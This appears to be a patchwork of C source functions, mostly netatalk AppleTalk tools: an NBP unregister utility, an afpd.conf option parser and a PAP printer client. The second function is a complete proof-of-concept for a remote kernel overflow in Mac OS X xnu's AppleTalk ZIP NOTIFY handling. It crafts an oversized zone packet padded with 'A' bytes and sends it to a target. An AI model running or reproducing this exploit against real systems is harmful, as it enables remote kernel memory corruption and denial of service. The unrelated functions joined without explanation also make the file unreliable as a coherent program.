int main(int ac, char **av) { char *Obj = NULL, *Type = NULL, *Zone = NULL; char *convname = NULL; struct at_addr addr; int c; charset_t chMac = CH_MAC; extern char *optarg; extern int optind; memset(&addr, 0, sizeof(addr)); while ((c = getopt(ac, av, "A:m:")) != EOF) { switch (c) { case 'A': if (!atalk_aton(optarg, &addr)) { fprintf(stderr, "Bad address.\n"); exit(1); } break; case 'm': if ((charset_t)-1 == (chMac = add_charset(optarg)) ) { fprintf(stderr, "Invalid Mac charset.\n"); exit(1); } break; default: Usage(av[0]); break; } } if (ac - optind != 1) { Usage( av[ 0 ] ); } /* Convert the name */ if ((size_t)(-1) == convert_string_allocate(CH_UNIX, chMac, av[optind], -1, &convname)) convname = av[optind]; /* * Get the name. If Type or Obj aren't specified, error. */ if ( nbp_name( convname, &Obj, &Type, &Zone ) || !Obj || !Type ) { Usage( av[ 0 ] ); } if ( nbp_unrgstr( Obj, Type, Zone, &addr ) < 0 ) { fprintf( stderr, "Can't unregister %s:%s@%s\n", Obj, Type, Zone ? Zone : "*" ); exit( 1 ); } return 0; }
int main (int argc, char **argv) { struct sockaddr_at daddr, saddr; char *p, buf[1024]; int fd, zlen; printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc < 3) { fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]); exit (EXIT_FAILURE); } if (!atalk_aton (argv[1], &daddr.sat_addr)) { fprintf (stderr, "* dst address: atalk_aton failed\n"); exit (EXIT_FAILURE); } if (argc > 3) { if (!atalk_aton (argv[3], &saddr.sat_addr)) { fprintf (stderr, "* src address: atalk_aton failed\n"); exit (EXIT_FAILURE); } } daddr.sat_family = AF_APPLETALK; daddr.sat_port = 6; if ((fd = netddp_open (argc > 3 ? &saddr : NULL, NULL)) < 0) { fprintf (stderr, "* netddp_open failed\n"); exit (EXIT_FAILURE); } printf ("Appletalk dst: %s, ", argv[1]); if (argc > 3) printf ("src: %s, ", argv[3]); printf ("zone: %s... ", argv[2]); p = buf; *p++ = DDPTYPE_ZIP; *p++ = ZIPOP_NOTIFY; /* ZIP NOTIFY */ *p++ = 0x00; *p++ = 0x00; /* pad */ *p++ = 0x00; *p++ = 0x00; *p++ = 0x00; zlen = strlen (argv[2]); *p++ = zlen; memcpy (p, argv[2], zlen); p += zlen; *p++ = 0x80; /* >= 0x80 sign extended :( * < 0x80 not enough to hit anything useful, * except maybe ifPort... */ memset (p, 0x41, 0x80); p += 0x80; if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr, sizeof (struct sockaddr_at)) < 0) { fprintf (stderr, "* netddp_sendto failed\n"); exit (EXIT_FAILURE); } printf ("done\n"); return (EXIT_SUCCESS); }
/* parse an afpd.conf line. i'm doing it this way because it's * easy. it is, however, massively hokey. sample afpd.conf: * server:AFPServer@zone -loginmesg "blah blah blah" -nodsi * "private machine"@zone2 -noguest -port 11012 * server2 -nocleartxt -nodsi * * NOTE: this ignores unknown options */ int afp_options_parseline(char *buf, struct afp_options *options) { char *c, *opt; /* handle server */ if (*buf != '-' && (c = getoption(buf, NULL)) && (opt = strdup(c))) options->server = opt; /* parse toggles */ if (strstr(buf, " -nodebug")) options->flags &= ~OPTION_DEBUG; #ifdef USE_SRVLOC if (strstr(buf, " -slp")) options->flags &= ~OPTION_NOSLP; #endif #ifdef USE_ZEROCONF if (strstr(buf, " -nozeroconf")) options->flags |= OPTION_NOZEROCONF; #endif if (strstr(buf, " -nouservolfirst")) options->flags &= ~OPTION_USERVOLFIRST; if (strstr(buf, " -uservolfirst")) options->flags |= OPTION_USERVOLFIRST; if (strstr(buf, " -nouservol")) options->flags |= OPTION_NOUSERVOL; if (strstr(buf, " -uservol")) options->flags &= ~OPTION_NOUSERVOL; if (strstr(buf, " -proxy")) options->flags |= OPTION_PROXY; if (strstr(buf, " -noicon")) options->flags &= ~OPTION_CUSTOMICON; if (strstr(buf, " -icon")) options->flags |= OPTION_CUSTOMICON; if (strstr(buf, " -advertise_ssh")) options->flags |= OPTION_ANNOUNCESSH; if (strstr(buf, " -noacl2maccess")) options->flags &= ~OPTION_ACL2MACCESS; /* passwd bits */ if (strstr(buf, " -nosavepassword")) options->passwdbits |= PASSWD_NOSAVE; if (strstr(buf, " -savepassword")) options->passwdbits &= ~PASSWD_NOSAVE; if (strstr(buf, " -nosetpassword")) options->passwdbits &= ~PASSWD_SET; if (strstr(buf, " -setpassword")) options->passwdbits |= PASSWD_SET; /* transports */ if (strstr(buf, " -transall")) options->transports = AFPTRANS_ALL; if (strstr(buf, " -notransall")) options->transports = AFPTRANS_NONE; if (strstr(buf, " -tcp")) options->transports |= AFPTRANS_TCP; if (strstr(buf, " -notcp")) options->transports &= ~AFPTRANS_TCP; if (strstr(buf, " -ddp")) options->transports |= AFPTRANS_DDP; if (strstr(buf, " -noddp")) options->transports &= ~AFPTRANS_DDP; if (strstr(buf, "-client_polling")) options->server_notif = 0; /* figure out options w/ values. currently, this will ignore the setting * if memory is lacking. */ if ((c = getoption(buf, "-hostname"))) { int len = strlen (c); if (len <= MAXHOSTNAMELEN) { memcpy(options->hostname, c, len); options->hostname[len] = 0; } else LOG(log_info, logtype_afpd, "WARNING: hostname %s is too long (%d)",c,len); } if ((c = getoption(buf, "-defaultvol")) && (opt = strdup(c))) options->defaultvol.name = opt; if ((c = getoption(buf, "-systemvol")) && (opt = strdup(c))) options->systemvol.name = opt; if ((c = getoption(buf, "-loginmesg")) && (opt = strdup(c))) { int i = 0, j = 0; while (c[i]) { if (c[i] != '\\') { opt[j++] = c[i]; } else { i++; if (c[i] == 'n') opt[j++] = '\n'; } i++; } opt[j] = 0; options->loginmesg = opt; } if ((c = getoption(buf, "-guestname")) && (opt = strdup(c))) options->guest = opt; if ((c = getoption(buf, "-passwdfile")) && (opt = strdup(c))) options->passwdfile = opt; if ((c = getoption(buf, "-passwdminlen"))) options->passwdminlen = MIN(1, atoi(c)); if ((c = getoption(buf, "-loginmaxfail"))) options->loginmaxfail = atoi(c); if ((c = getoption(buf, "-tickleval"))) { options->tickleval = atoi(c); if (options->tickleval <= 0) { options->tickleval = 30; } } if ((c = getoption(buf, "-timeout"))) { options->timeout = atoi(c); if (options->timeout <= 0) { options->timeout = 4; } } if ((c = getoption(buf, "-sleep"))) { options->sleep = atoi(c) *120; if (options->sleep <= 4) { options->sleep = 4; } } if ((c = getoption(buf, "-dsireadbuf"))) { options->dsireadbuf = atoi(c); if (options->dsireadbuf < 6) options->dsireadbuf = 6; } if ((c = getoption(buf, "-server_quantum"))) options->server_quantum = strtoul(c, NULL, 0); if ((c = getoption(buf, "-volnamelen"))) { options->volnamelen = atoi(c); if (options->volnamelen < 8) { options->volnamelen = 8; /* max mangled volname "???#FFFF" */ } if (options->volnamelen > 255) { options->volnamelen = 255; /* AFP3 spec */ } } /* -[no]setuplog <logtype> <loglevel> [<filename>]*/ c = buf; /* Now THIS is hokey! Multiple occurrences are not supported by our current code, */ /* so I have to loop myself. */ while (NULL != (c = strstr(c, "-setuplog"))) { char *optstr; if ((optstr = getoption(c, "-setuplog"))) { setuplog(optstr); options->logconfig = optstr; /* at least store the last (possibly only) one */ c += sizeof("-setuplog"); } } if ((c = getoption(buf, "-unsetuplog"))) unsetuplog(c); #ifdef ADMIN_GRP if ((c = getoption(buf, "-admingroup"))) { struct group *gr = getgrnam(c); if (gr != NULL) { options->admingid = gr->gr_gid; } } #endif /* ADMIN_GRP */ if ((c = getoption(buf, "-k5service")) && (opt = strdup(c))) options->k5service = opt; if ((c = getoption(buf, "-k5realm")) && (opt = strdup(c))) options->k5realm = opt; if ((c = getoption(buf, "-k5keytab"))) { if ( NULL == (options->k5keytab = (char *) malloc(sizeof(char)*(strlen(c)+14)) )) { LOG(log_error, logtype_afpd, "malloc failed"); exit(-1); } snprintf(options->k5keytab, strlen(c)+14, "KRB5_KTNAME=%s", c); putenv(options->k5keytab); /* setenv( "KRB5_KTNAME", c, 1 ); */ } if ((c = getoption(buf, "-authprintdir")) && (opt = strdup(c))) options->authprintdir = opt; if ((c = getoption(buf, "-uampath")) && (opt = strdup(c))) options->uampath = opt; if ((c = getoption(buf, "-uamlist")) && (opt = strdup(c))) options->uamlist = opt; if ((c = getoption(buf, "-ipaddr"))) { #if 0 struct in_addr inaddr; if (inet_aton(c, &inaddr) && (opt = strdup(c))) { if (!gethostbyaddr((const char *) &inaddr, sizeof(inaddr), AF_INET)) LOG(log_info, logtype_afpd, "WARNING: can't find %s", opt); options->ipaddr = opt; } else { LOG(log_error, logtype_afpd, "Error parsing -ipaddr, is %s in numbers-and-dots notation?", c); } #endif options->ipaddr = strdup(c); } /* FIXME CNID Cnid_srv is a server attribute */ if ((c = getoption(buf, "-cnidserver"))) { char *p = strrchr(c, ':'); if (p) *p = 0; Cnid_srv = strdup(c); if (p) Cnid_port = strdup(p + 1); LOG(log_debug, logtype_afpd, "CNID Server: %s:%s", Cnid_srv, Cnid_port); } if ((c = getoption(buf, "-port"))) options->port = strdup(c); if ((c = getoption(buf, "-ddpaddr"))) atalk_aton(c, &options->ddpaddr); if ((c = getoption(buf, "-signature")) && (opt = strdup(c))) options->signatureopt = opt; /* do a little checking for the domain name. */ if ((c = getoption(buf, "-fqdn"))) { char *p = strchr(c, ':'); if (p) *p = '\0'; if (gethostbyname(c)) { if (p) *p = ':'; if ((opt = strdup(c))) options->fqdn = opt; } else { LOG(log_error, logtype_afpd, "error parsing -fqdn, gethostbyname failed for: %s", c); } } if ((c = getoption(buf, "-unixcodepage"))) { if ((charset_t)-1 == ( options->unixcharset = add_charset(c)) ) { options->unixcharset = CH_UNIX; LOG(log_warning, logtype_afpd, "setting Unix codepage to '%s' failed", c); } else { if ((opt = strdup(c))) options->unixcodepage = opt; } } if ((c = getoption(buf, "-maccodepage"))) { if ((charset_t)-1 == ( options->maccharset = add_charset(c)) ) { options->maccharset = CH_MAC; LOG(log_warning, logtype_afpd, "setting Mac codepage to '%s' failed", c); } else { if ((opt = strdup(c))) options->maccodepage = opt; } } if ((c = strstr(buf, "-closevol"))) { options->closevol= 1; } if ((c = getoption(buf, "-ntdomain")) && (opt = strdup(c))) options->ntdomain = opt; if ((c = getoption(buf, "-ntseparator")) && (opt = strdup(c))) options->ntseparator = opt; if ((c = getoption(buf, "-dircachesize"))) options->dircachesize = atoi(c); if ((c = getoption(buf, "-tcpsndbuf"))) options->tcp_sndbuf = atoi(c); if ((c = getoption(buf, "-tcprcvbuf"))) options->tcp_rcvbuf = atoi(c); return 1; }
int main( int ac, char **av) { ATP atp; struct atp_block atpb; int c, err = 0, fd, cuts = 0; char *obj = NULL, *type = "LaserWriter", *zone = "*"; struct timeval stv, tv; char rbuf[ ATP_MAXDATA ]; struct iovec iov; unsigned short waiting, result; int connattempts = 10; int waitforidle = 0; struct at_addr addr; extern char *optarg; extern int optind; memset(&addr, 0, sizeof(addr)); while (( c = getopt( ac, av, "dWwcep:s:EA:" )) != EOF ) { switch ( c ) { #ifdef F****D case 'w' : waitforprinter = 1; break; case 'W' : waitforidle = 1; break; #endif /* F****D */ /* enable debugging */ case 'd' : debug++; break; case 'c' : cuts++; break; case 'e' : /* send stdout to stderr */ dup2( 2, 1 ); break; case 'p' : printer = optarg; break; case 's' : status = optarg; break; case 'E' : noeof = 1; break; case 'A': if (!atalk_aton(optarg, &addr)) { fprintf(stderr, "Bad address.\n"); exit(1); } break; default : err++; } } if ( err ) { usage( *av ); } if ( printer == NULL && (( printer = paprc()) == NULL )) { fprintf( stderr, "No printer specified and ./.paprc not found.\n" ); exit( 2 ); } /* * Open connection. */ if ( nbp_name( printer, &obj, &type, &zone ) < 0 ) { fprintf( stderr, "%s: Bad name\n", printer ); exit( 2 ); } if ( obj == NULL ) { fprintf( stderr, "%s: Bad name\n", printer ); exit( 2 ); } if ( nbp_lookup( obj, type, zone, &nn, 1, &addr ) <= 0 ) { if ( errno != 0 ) { perror( "nbp_lookup" ); exit( 2 ); } fprintf( stderr, "%s:%s@%s: NBP Lookup failed\n", obj, type, zone ); exit( 1 ); } if ( isatty( 1 )) { printf( "Trying %u.%d:%d ...\n", ntohs( nn.nn_sat.sat_addr.s_net ), nn.nn_sat.sat_addr.s_node, nn.nn_sat.sat_port ); } if (( atp = atp_open( ATADDR_ANYPORT, &addr )) == NULL ) { perror( "atp_open" ); exit( 2 ); } if (( satp = atp_open( ATADDR_ANYPORT, &addr )) == NULL ) { perror( "atp_open" ); exit( 2 ); } while ( waitforidle ) { char st_buf[ 1024 ]; /* XXX too big */ cbuf[ 0 ] = 0; cbuf[ 1 ] = PAP_SENDSTATUS; cbuf[ 2 ] = cbuf[ 3 ] = 0; atpb.atp_saddr = &nn.nn_sat; atpb.atp_sreqdata = cbuf; atpb.atp_sreqdlen = 4; /* bytes in SendStatus request */ atpb.atp_sreqto = 2; /* retry timer */ atpb.atp_sreqtries = 5; /* retry count */ if ( atp_sreq( satp, &atpb, 1, 0 ) < 0 ) { perror( "atp_sreq" ); exit( 1 ); } if(debug){ printf( "SENDSTATUS >\n" ), fflush( stdout );} atpb.atp_saddr = &nn.nn_sat; rniov[ 0 ].iov_len = PAP_MAXDATA + 4; atpb.atp_rresiov = rniov; atpb.atp_rresiovcnt = 1; if ( atp_rresp( satp, &atpb ) < 0 ) { perror( "atp_rresp" ); continue; } #ifndef NONZEROSTATUS /* * The stinking LaserWriter IINTX puts crap in this * field. */ if ( ((char *)rniov[ 0 ].iov_base)[ 0 ] != 0 ) { fprintf( stderr, "Bad status response!\n" ); exit( 1 ); } #endif /* NONZEROSTATUS */ if ( ((char *)rniov[ 0 ].iov_base)[ 1 ] != PAP_STATUS || atpb.atp_rresiovcnt != 1 ) { fprintf( stderr, "Bad status response!\n" ); exit( 1 ); } if(debug){ printf( "< STATUS\n" ), fflush( stdout );} memcpy( st_buf, (char *) rniov[ 0 ].iov_base + 9, ((char *)rniov[ 0 ].iov_base)[ 8 ] ); st_buf[ (int) ((char *)rniov[ 0 ].iov_base)[ 8 ]] = '\0'; if ( strstr( st_buf, "idle" ) != NULL ) { waitforidle = 0; } else { updatestatus( (char *) rniov[ 0 ].iov_base + 9, ((char *)rniov[ 0 ].iov_base)[ 8 ] ); sleep( 5 ); } } cbuf[ 0 ] = connid = getpid() & 0xff; cbuf[ 1 ] = PAP_OPEN; cbuf[ 2 ] = cbuf[ 3 ] = 0; cbuf[ 4 ] = atp_sockaddr( atp )->sat_port; cbuf[ 5 ] = oquantum; /* flow quantum */ if ( gettimeofday( &stv, NULL ) < 0 ) { perror( "gettimeofday" ); exit( 2 ); } for (;;) { if ( cuts ) { waiting = 0xffff; } else { if ( gettimeofday( &tv, NULL ) < 0 ) { perror( "gettimeofday" ); exit( 2 ); } waiting = htons( tv.tv_sec - stv.tv_sec ); } memcpy(cbuf + 6, &waiting, sizeof( waiting )); atpb.atp_saddr = &nn.nn_sat; atpb.atp_sreqdata = cbuf; atpb.atp_sreqdlen = 8; /* bytes in OpenConn request */ atpb.atp_sreqto = 2; /* retry timer */ atpb.atp_sreqtries = 5; /* retry count */ if ( atp_sreq( atp, &atpb, 1, ATP_XO ) < 0 ) { perror( "atp_sreq" ); exit( 1 ); } if(debug){ printf( "OPEN >\n" ), fflush( stdout );} iov.iov_base = rbuf; iov.iov_len = sizeof( rbuf ); atpb.atp_rresiov = &iov; atpb.atp_rresiovcnt = 1; if ( atp_rresp( atp, &atpb ) < 0 ) { perror( "atp_rresp" ); if ( connattempts-- <= 0 ) { fprintf( stderr, "Can't connect!\n" ); exit( 1 ); } continue; } /* sanity */ if ( iov.iov_len < 8 || (unsigned char)rbuf[ 0 ] != connid || rbuf[ 1 ] != PAP_OPENREPLY ) { fprintf( stderr, "Bad response!\n" ); continue; /* This is weird, since TIDs must match... */ } if(debug){ printf( "< OPENREPLY\n" ), fflush( stdout );} if ( isatty( 1 )) { printf( "%.*s\n", (int)iov.iov_len - 9, (char *) iov.iov_base + 9 ); } updatestatus( (char *) iov.iov_base + 9, iov.iov_len - 9 ); memcpy( &result, rbuf + 6, sizeof( result )); if ( result != 0 ) { sleep( 2 ); } else { memcpy( &sat, &nn.nn_sat, sizeof( struct sockaddr_at )); sat.sat_port = rbuf[ 4 ]; quantum = rbuf[ 5 ]; break; } } if ( isatty( 1 )) { printf( "Connected to %.*s:%.*s@%.*s.\n", nn.nn_objlen, nn.nn_obj, nn.nn_typelen, nn.nn_type, nn.nn_zonelen, nn.nn_zone ); } if ( optind == ac ) { send_file( 0, atp, 1 ); } else { for (; optind < ac; optind++ ) { if ( strcmp( av[ optind ], "-" ) == 0 ) { fd = 0; } else if (( fd = open( av[ optind ], O_RDONLY )) < 0 ) { perror( av[ optind ] ); continue; } send_file( fd, atp, ( optind == ac - 1 ) ? 1 : 0 ); if ( fd != 0 ) { close( fd ); } } } /* * Close connection. */ cbuf[ 0 ] = connid; cbuf[ 1 ] = PAP_CLOSE; cbuf[ 2 ] = cbuf[ 3 ] = 0; atpb.atp_saddr = &sat; atpb.atp_sreqdata = cbuf; atpb.atp_sreqdlen = 4; /* bytes in CloseConn request */ atpb.atp_sreqto = 2; /* retry timer */ atpb.atp_sreqtries = 5; /* retry count */ if ( atp_sreq( atp, &atpb, 1, ATP_XO ) < 0 ) { perror( "atp_sreq" ); exit( 1 ); } if(debug){ printf( "CLOSE >\n" ), fflush( stdout );} iov.iov_base = rbuf; iov.iov_len = sizeof( rbuf ); atpb.atp_rresiov = &iov; atpb.atp_rresiovcnt = 1; if ( atp_rresp( atp, &atpb ) < 0 ) { perror( "atp_rresp" ); exit( 1 ); } /* sanity */ if ( iov.iov_len != 4 || rbuf[ 1 ] != PAP_CLOSEREPLY ) { fprintf( stderr, "Bad response!\n" ); exit( 1 ); } #ifndef ZEROCONNID /* * The AGFA Viper Rip doesn't have the connection id in the close request. */ if ((unsigned char)rbuf[ 0 ] != connid ) { fprintf( stderr, "Bad connid in close!\n" ); exit( 1 ); } #endif /* ZEROCONNID */ if(debug){ printf( "< CLOSEREPLY\n" ), fflush( stdout );} if ( isatty( 1 )) { printf( "Connection closed.\n" ); } exit( 0 ); }